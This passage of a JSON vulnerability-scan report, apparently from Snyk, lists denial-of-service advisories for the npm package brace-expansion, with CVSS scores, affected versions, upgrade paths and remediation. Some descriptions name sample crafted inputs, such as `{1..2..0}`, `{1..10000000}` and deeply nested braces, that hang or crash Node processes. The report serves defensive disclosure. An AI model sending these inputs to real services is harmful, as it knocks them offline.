"2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 